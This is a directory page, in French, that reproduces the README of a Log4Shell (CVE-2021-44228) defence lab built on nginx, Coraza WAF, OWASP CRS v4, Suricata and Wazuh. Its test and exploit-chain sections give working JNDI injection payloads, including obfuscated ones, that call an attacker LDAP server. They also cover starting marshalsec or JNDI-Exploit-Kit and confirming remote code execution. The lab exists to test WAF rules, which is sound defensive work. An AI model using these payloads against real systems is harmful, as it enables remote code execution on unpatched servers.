Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/tieupham267/log4shell-coraza
Outils DéfensifsScanners de VulnérabilitésExploitationÉvasion IDS/IPSContournement de WAFSécurité WebTests d'IntrusionDétection d'IntrusionApprentissage et ÉducationAnalyse de JournauxLabs et Pratique
11il y a 4 moisPas encore vérifié
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Log4Shell (CVE-2021-44228) laboratoire de défense — nginx + Coraza WAF dynamic module + OWASP CRS v4. Usage éducatif uniquement.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Laboratoire de Sécurité Log4Shell — nginx + Coraza WAF

Objectif éducatif / défensif : ce laboratoire contient une application intentionnellement vulnérable (Log4j 2.14.1) et une boîte à outils d'exploitation JNDI, UNIQUEMENT destinée à apprendre à détecter et bloquer Log4Shell dans un environnement isolé. Ne pas déployer sur Internet, ne pas utiliser pour attaquer des systèmes qui ne vous appartiennent pas.

Laboratoire pratique de défense contre Log4Shell (CVE-2021-44228) utilisant nginx intégré avec Coraza WAF (module dynamique) + OWASP CRS v4 + un ensemble de règles JNDI personnalisées. Inclut un conteneur cible Spring Boot vulnérable, une boîte attaquante Kali, ainsi que Suricata et Wazuh pour l'observation.


1. Architecture

root@kitploit:~
Hôte (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, face externe)
│   ├── nginx-proxy         ← point d'entrée :80/:443, avec module Coraza + CRS v4
│   ├── attacker-box        ← Kali + kits d'exploitation JNDI
│   └── suricata-ids        ← renifle le trafic dmz
│
└── backend-net (172.22.0.0/24, interne : true)
    ├── nginx-proxy         ← seconde carte réseau
    ├── log4shell-app       ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager       ← SIEM
    └── wazuh-dashboard     ← UI

Flux des requêtes : client → nginx (inspection Coraza) → log4shell-app. Le WAF s'exécute de nginx (via le module ), pas dans un conteneur séparé.

à l'intérieur
ngx_http_coraza_module.so

2. Prérequis

ÉlémentVersion minimale
Docker Desktop / Engine24+ avec Compose v2
RAM libre4 Go (Wazuh consomme ~1,5 Go)
Espace disque libre6 Go (artefacts de construction d'image)
Temps de construction initial10–15 minutes (libcoraza + module nginx + outils attaquants Maven)

3. Bootstrap — première exécution

Étape 3.1 — Construction des images

root@kitploit:~
cd /chemin/vers/log4shell-nginx-coraza
docker compose build

L'étape la plus lente est nginx (construction de libcoraza v1.4.0 avec Go 1.25, puis compilation du module coraza-nginx). Mise en cache après la première fois.

Étape 3.2 — Démarrage de la pile

root@kitploit:~
docker compose up -d
docker compose ps

Après ~30 s, statut attendu :

ServiceSTATUT
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idspeut être Restarting (voir section 8 — ne bloque pas le lab)

Étape 3.3 — Test de base

root@kitploit:~
# vivacité de nginx
curl http://localhost/health
# → "nginx proxy healthy"

# via WAF vers l'application (point de terminaison réel de log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ sans l'en-tête X-Api-Version renvoie 400 — c'est la page d'erreur par défaut de Spring Boot (aucun gestionnaire), pas un blocage du WAF.


4. Test du blocage Log4Shell par le WAF

Étape 4.1 — Payload de base

root@kitploit:~
# JNDI dans User-Agent → règle 1910010 déclenchée, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI dans l'en-tête d'application journalisé : X-Api-Version → règle 1910001 (en-tête+argument) déclenchée, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI dans la chaîne de requête → CRS phase 1 bloque
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Attendu : HTTP/1.1 403 Forbidden, corps <html>... 403 Forbidden ... nginx ...</html>.

Étape 4.2 — Payload obfusqué

root@kitploit:~
# Astuce minuscule (règle 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Deux-points-tiret-tiret (règle 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Étape 4.3 — Payload dans corps JSON

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (règle 1910026 : Content-Type=json + corps contient jndi)

5. Inspection des journaux WAF

Journal d'audit Coraza (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Chaque événement est au format JSON Lines, avec :

  • transaction.is_interrupted: true → WAF bloque
  • messages[].error_message → quelle règle a déclenché, fichier et ligne, sévérité

Journal d'accès nginx

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filtrer les blocages :

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Points de montage sur l'hôte

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Chaîne d'exploitation réelle — attacker-box → log4shell-app

Par défaut, backend-net est défini avec internal: true et attacker-box est uniquement sur dmz-net, donc log4shell-app n'atteint PAS attacker-box. Pour que la chaîne JNDI fonctionne de bout en bout, effectuez d'abord l'étape 6.0.

Étape 6.0 — Permettre à log4shell-app d'appeler attacker-box

Modifiez docker-compose.yml, ajoutez attacker-box à backend-net :

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— ajout

Ou déplacez log4shell-app vers dmz-net (plus simple mais moins pédagogique sur la segmentation) :

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— ajout

Appliquez : docker compose up -d (Compose recrée le conteneur concerné).

Étape 6.1 — Démarrage du serveur d'exploitation JNDI dans attacker-box

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Option A : marshalsec — simple, relais LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Option B : JNDI-Exploit-Kit — boîte à outils complète, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Le serveur écoute LDAP :1389 et HTTP :8888 (déjà exposés sur l'hôte dans le compose).

Étape 6.2 — Test de contournement : appel direct à l'application (sans WAF) pour confirmer la vulnérabilité

root@kitploit:~
# Depuis attacker-box, appel direct à log4shell-app sur backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Vérifiez :

root@kitploit:~
# Le marqueur Pwned est créé dans le conteneur de l'application
docker exec victim-app ls -la /tmp/pwned

Si le fichier apparaît → la chaîne d'exploitation fonctionne, l'application est toujours vulnérable, le WAF n'est PAS contourné lorsqu'on passe par le chemin normal.

Étape 6.3 — Vérifiez que le WAF bloque la même payload via le chemin normal

root@kitploit:~
# Passage par nginx (chemin normal public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, AUCUN nouveau /tmp/pwned

7. Ajustement des règles (sans reconstruction)

Le fichier ./coraza/config/log4shell-rules.conf est monté en :ro dans nginx sous /etc/nginx/coraza/log4shell-rules.conf. Après modification :

root@kitploit:~
docker exec nginx-proxy nginx -t      # vérification de syntaxe
docker exec nginx-proxy nginx -s reload

Si Coraza signale une erreur d'analyse (failed to compile the directive...), les workers vont se terminer et nginx -s reload ne pourra pas les relancer. Dans ce cas :

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Disposition des règles chargées dans le WAF

Ordre d'inclusion (dans nginx/coraza/main.conf, intégré à l'image) :

  1. Configuration du moteur : SecRuleEngine On, journal d'audit, journal de débogage
  2. crs-setup.conf — initialisation de tx.*_anomaly_score, seuil
  3. owasp-crs/rules/*.conf — CRS v4.7.0 complet
  4. log4shell-rules.conf — règles personnalisées (monté depuis l'hôte)

Plage d'ID des règles personnalisées : 1910001 – 1910999 (évite la plage CRS 900000–999999).

Limitations de syntaxe de Coraza vs ModSecurity

  • La sévérité n'accepte que l'énumération standard : EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW ne sont pas valides.
  • Les collections persistantes (IP:, SESSION:, RESOURCE:) ne fonctionnent pas sans un magasin de sauvegarde configuré. Utilisez tx. pour par requête ou limitez le débit via nginx limit_req_zone.
  • TX:VARNAME ne peut référencer qu'une variable déjà définie par setvar dans la même requête. Si la règle est dans une phase différente, envisagez de la fusionner en une règle enchaînée.

8. Dépannage

nginx UP mais (unhealthy) / curl localhost bloque

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Souvent dû à une nouvelle règle avec une syntaxe incorrecte → tous les workers se terminent avec le code 2. Corrigez la règle, docker compose restart nginx.

failed to create WAF: ... unknown severity: HIGH

Remplacez severity:'HIGH' par severity:'ERROR' dans la règle personnalisée.

failed to compile the directive "secrule": invalid arguments, expected collection TX

La règle utilise setvar:ip.xxx ou référence IP:something / TX:NEVER_DECLARED. Supprimez la collection persistante ou fusionnez la logique en une seule règle enchaînée.

Suricata Exited (1)

L'image jasonish/suricata:latest a son propre point d'entrée et le montage yaml depuis ./suricata/config/ peut ne pas être compatible avec la version de l'image. Solution rapide : commentez temporairement le service suricata dans le compose, le lab fonctionne toujours normalement (pas besoin d'IDS pour que Coraza fonctionne). Pour une correction définitive, remplacez suricata.yaml par le fichier par défaut de l'image (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app se termine juste après le démarrage

L'image de base est Alpine 3.8 EOL. Assurez-vous que la commande dans le compose est ["java", "-jar", "/app/spring-boot-application.jar"] (PAS de apk add iptables — le dépôt Alpine 3.8 est en erreur 404).

Le tableau de bord Wazuh n'est pas accessible via http://localhost:5601

Le gestionnaire Wazuh et le tableau de bord nécessitent wazuh-indexer (OpenSearch) pour fonctionner complètement. La pile actuelle manque de ce service — le tableau de bord démarrera mais la connexion échouera. Si nécessaire, ajoutez le service wazuh-indexer selon le compose officiel.


9. Nettoyage

root@kitploit:~
# Arrêter + supprimer les conteneurs, conserver le cache des images
docker compose down

# Tout supprimer (y compris les volumes Wazuh, forcer la reconstruction la prochaine fois)
docker compose down -v

# Supprimer également les images construites (libère ~3 Go)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Structure des répertoires

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-étapes : libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; dans http{}
│   ├── conf/
│   │   └── default.conf        # proxy inverse → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # configuration du moteur + Include CRS + personnalisé
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # règles JNDI personnalisées, monté :ro dans nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # points de montage pour nginx, coraza, app, suricata, wazuh

11. Référence des ID de règles

PlageResponsableChevauchement avec la plage CRS ?
900000–999999OWASP CRS v4 (init, IP rep, protocole, RCE, SQLi, XSS, scanners, blocage eval)(propre au CRS)
1910000–1910999Règles Log4Shell personnaliséesNon

Tous les ID de règles personnalisés actuels : 1910001–1910008 (patterns JNDI), 1910010–1910014 (par en-tête), 1910015 (protocoles alternatifs), 1910020 (détection de scanner), 1910026 (chaîne corps JSON), 1910028 (chaîne corps XML), 1910030 (paranoïa 3), 1910999 (écho d'évaluation d'anomalie).


Fin : si le lab fonctionne jusqu'à l'étape 4, le WAF est opérationnel. L'étape 6 n'est nécessaire que pour démontrer la chaîne d'exploitation complète de bout en bout.

Télécharger l’outil